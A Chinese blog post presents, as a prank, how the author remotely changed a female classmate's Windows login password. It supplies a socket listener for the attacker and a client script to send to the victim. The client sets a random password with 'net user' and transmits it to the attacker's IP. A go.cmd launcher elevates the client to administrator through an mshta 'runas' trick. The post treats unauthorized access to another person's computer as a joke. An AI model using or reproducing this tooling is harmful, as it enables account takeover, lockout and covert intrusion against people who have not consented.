Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
使用python实现strcmp函数功能示例
Mar 25 Python
CentOS6.5设置Django开发环境
Oct 13 Python
python之从文件读取数据到list的实例讲解
Apr 19 Python
解决pandas无法在pycharm中使用plot()方法显示图像的问题
May 24 Python
Django中数据库的数据关系:一对一,一对多,多对多
Oct 21 Python
python 将列表中的字符串连接成一个长路径的方法
Oct 23 Python
python实现加密的方式总结
Jan 19 Python
python关于变量名的基础知识点
Mar 03 Python
Python3 中sorted() 函数的用法
Mar 24 Python
python中Pexpect的工作流程实例讲解
Mar 02 Python
Python答题卡识别并给出分数的实现代码
Jun 22 Python
Python中的协程(Coroutine)操作模块(greenlet、gevent)
May 30 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
php 使用curl模拟登录人人(校内)网的简单实例
2016/06/06 PHP
laravel框架上传图片实现实时预览功能
2019/10/14 PHP
类似CSDN图片切换效果脚本
2009/09/17 Javascript
JavaScript高级程序设计阅读笔记(六) ECMAScript中的运算符(二)
2012/02/27 Javascript
js验证整数加保留小数点的简单实例
2013/12/02 Javascript
防止登录页面出现在frame中js代码
2014/07/22 Javascript
jQuery使用post方法提交数据实例
2015/03/25 Javascript
JavaScript常用基础知识强化学习
2015/12/09 Javascript
js+html5实现的自由落体运动效果代码
2016/01/28 Javascript
JS创建对象几种不同方法详解
2016/03/01 Javascript
JavaScript的字符串方法汇总
2016/07/31 Javascript
手机端实现Bootstrap简单图片轮播效果
2016/10/13 Javascript
js数组去重的hash方法
2016/12/22 Javascript
jQuery用noConflict代替$的实现方法
2017/04/12 jQuery
微信小程序中做用户登录与登录态维护的实现详解
2017/05/17 Javascript
深入浅析Node.js单线程模型
2017/07/10 Javascript
Chrome调试折腾记之JS断点调试技巧
2017/09/11 Javascript
利用nodeJs anywhere搭建本地服务器环境的方法
2018/05/12 NodeJs
小程序实现新用户判断并跳转激活的方法
2019/05/20 Javascript
解决Layui中layer报错的问题
2019/09/03 Javascript
Python实现豆瓣图片下载的方法
2015/05/25 Python
python魔法方法-自定义序列详解
2016/07/21 Python
解决Spyder中图片显示太小的问题
2018/04/27 Python
对python append 与浅拷贝的实例讲解
2018/05/04 Python
python学习将数据写入文件并保存方法
2020/06/07 Python
Expedia丹麦:全球领先的旅游网站
2018/03/18 全球购物
信息服务专业毕业生求职信
2014/03/02 职场文书
家长对孩子的感言
2014/03/10 职场文书
小学生五年级大队长竞选发言稿
2014/09/12 职场文书
异地恋情人节寄语
2015/02/28 职场文书
高中政治教学反思
2016/02/23 职场文书
写作技巧:如何撰写商业计划书
2019/08/08 职场文书
pygame面向对象的飞行小鸟实现(Flappy bird)
2021/04/01 Python
Python包argparse模块常用方法
2021/06/04 Python
nginx实现动静分离的方法示例
2021/11/07 Servers
使用CSS实现百叶窗效果示例代码
2023/05/07 HTML / CSS